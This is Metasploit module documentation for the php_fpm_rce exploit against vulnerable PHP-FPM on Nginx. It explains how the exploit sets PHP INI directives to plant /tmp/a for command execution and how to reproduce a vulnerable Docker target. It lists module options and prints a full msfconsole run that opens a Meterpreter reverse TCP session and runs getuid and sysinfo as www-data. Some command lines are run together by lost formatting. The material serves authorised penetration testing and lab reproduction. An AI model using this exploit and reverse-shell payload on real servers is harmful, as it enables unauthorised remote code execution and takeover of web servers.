documentation/modules/exploit/multi/http/php_fpm_rce.md
This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33,
7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers
with certains Nginx + PHP-FPM configurations are exploitable. This is a port of
the original neex's exploit code (see refs.). First, it detects the correct
parameters (Query String Length and custom header length) needed to trigger
code execution. This step determines if the target is actually vulnerable
(Check method). Then, the exploit sets a series of PHP INI directives to create
a file (/tmp/a) locally on the target, which enables code execution through a
query string parameter (?a=<cmd>). This is used to execute normal payload
stagers. Finally, this module does some cleanup by killing local PHP-FPM
workers (those are spawned automatically once killed) and removing the created
local file (/tmp/a).
apt-get install nginx)git clone https://github.com/php/php-src
# checkout the fix
git -C php-src checkout ab061f95ca966731b1c84cf5b7b20155c0a1c06a
# checkout the commit previous to the fix
git -C php-src checkout HEAD~1
try_files):location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
See original PoC for details: https://github.com/neex/phuip-fpizdam
An easiest way to setup a vulnerable instance is to use the docker configuration provided by the author (https://github.com/neex/phuip-fpizdam/tree/master/reproducer)
Preparing the target:
git clone https://github.com/neex/phuip-fpizdamcd phuip-fpizdam/reproducer/docker build -t reproduce-cve-2019-11043 .docker run --rm -p 192.168.6.6:8080:80 --name reproduce-cve-2019-11043 reproduce-cve-2019-11043Running the exploit:
./msfconsoleuse exploit/multi/http/php_fpm_rceset RHOSTS 192.168.6.6set RPORT 8080set TARGETURI /script.phpset PAYLOAD php/meterpreter/reverse_tcpset LHOST 192.168.6.6runPath to a PHP page (/index.php by default). This must be a valid page.
MinQSL Minimum query string length (QSL). The QSL detection engine will iterate starting from this value (1500 by default). This option is required.
MaxQSL Maximum query string length (QSL). The QSL detection engine will iterate until this value is reached (1950 by default). This option is required.
QSLHint Query string length hint. This value will be used as a QSL candidate. Note that setting this value skips the QSL detection.
QSLDetectStep Query string length detect step. The QSL detection engine will iterate with this step value (5 by default). This option is required.
MaxQSLCandidates Maximum query string length candidates. When the number of QSL candidates found during the QSL detection phase is greater than this value (10 by default), this indicates that something went wrong and we were not able to detect the correct values. This option is required.
MaxQSLDetectDelta Maximum query string length detection delta. This value is the maximum distance between the candidate and the extended values (10 by default). For example, with a value of 20 and QSLDetectStep set to 5, candidate [1700] will be extended to [1680, 1685, 1690, 1695, 1700]. This option is required.
MaxCustomHeaderLength Maximum custom header length. This value is the maximum length that will be used for the custom header during the parameters detection (256 by default). This option is required.
CustomHeaderLengthHint Custom header length hint. This value will be used as the custom header length. Note that setting this value skips the custom header length detection.
DetectMethod Method that will be used to detect if the target is vulnerable. Available methods:
session.auto_start: this method consist in setting the
session.auto_start PHP option to 1. If the response contains PHPSESSID=
set-cookie value, this means the PHP option has been correctly set and the
target is vulnerable.output_handler.md5: this method consist in setting the output_handler
PHP option to md5. If the response is a md5 hash (16 characters), this
means the PHP option has been correctly set and the target is vulnerable.OperationMaxRetries
Maximum of operation retries. Each operation will be repeated at most
OperationMaxRetries times.
msf > use exploit/multi/http/php_fpm_rce
msf exploit(multi/http/php_fpm_rce) > set RHOSTS 192.168.6.6
RHOSTS => 192.168.6.6
msf exploit(multi/http/php_fpm_rce) > set RPORT 8080
RPORT => 8080
msf exploit(multi/http/php_fpm_rce) > set TARGETURI /script.php
TARGETURI => /script.php
msf exploit(multi/http/php_fpm_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/http/php_fpm_rce) > set LHOST 192.168.6.6
LHOST => 192.168.6.6
msf exploit(multi/http/php_fpm_rce) > run
[*] Started reverse TCP handler on 192.168.6.6:4444
[*] Sending baseline query...
[*] Detecting QSL...
[+] The target is probably vulnerable. Possible QSLs: [1765]
[*] Doing sanity check...
[*] Detecting attack parameters...
[+] Parameters found: QSL=1760, customh_length=69
[+] Target is vulnerable!
[*] Performing attack using php.ini settings...
[+] Success! Was able to execute a command by appending 'which+which'
[*] Trying to cleanup /tmp/a...
[+] Cleanup done!
[*] Sending payload...
[*] Sending stage (38288 bytes) to 192.168.6.6
[*] Meterpreter session 1 opened (192.168.6.6:4444 -> 192.168.6.6:59177) at 2020-02-14 12:03:45 -0600
[+] Session created
[*] Remove /tmp/a and kill workers...
[+] Done!
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : 832efebeac57
OS : Linux 832efebeac57 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64
Meterpreter : php/linux
meterpreter >